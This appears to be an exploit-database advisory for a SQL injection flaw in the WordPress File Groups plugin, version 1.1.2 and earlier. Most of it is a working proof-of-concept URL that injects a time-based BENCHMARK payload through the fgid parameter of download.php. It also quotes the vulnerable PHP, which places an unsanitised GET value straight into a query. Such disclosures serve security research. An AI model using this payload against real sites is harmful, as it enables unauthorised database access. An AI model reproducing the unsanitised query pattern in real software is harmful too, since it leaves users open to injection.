WordPress File Groups 1.1.2 SQL Injection

`# Exploit Title: WordPress File Groups plugin <= 1.1.2 SQL Injection Vulnerability  
# Date: 2011-08-17  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/file-groups.1.1.2.zip  
# Version: 1.1.2 (tested)  
  
---  
PoC  
---  
http://localhost/wp-content/plugins/file-groups/download.php?fgid=-1 AND 1=BENCHMARK(5000000,MD5(CHAR(87,120,109,121)))  
  
---------------  
Vulnerable code  
---------------  
$fgid = $_GET['fgid'];  
  
...  
  
$file_list = $wpdb->get_col("select guid from wp_posts where post_parent = $fgid");  
  
  
`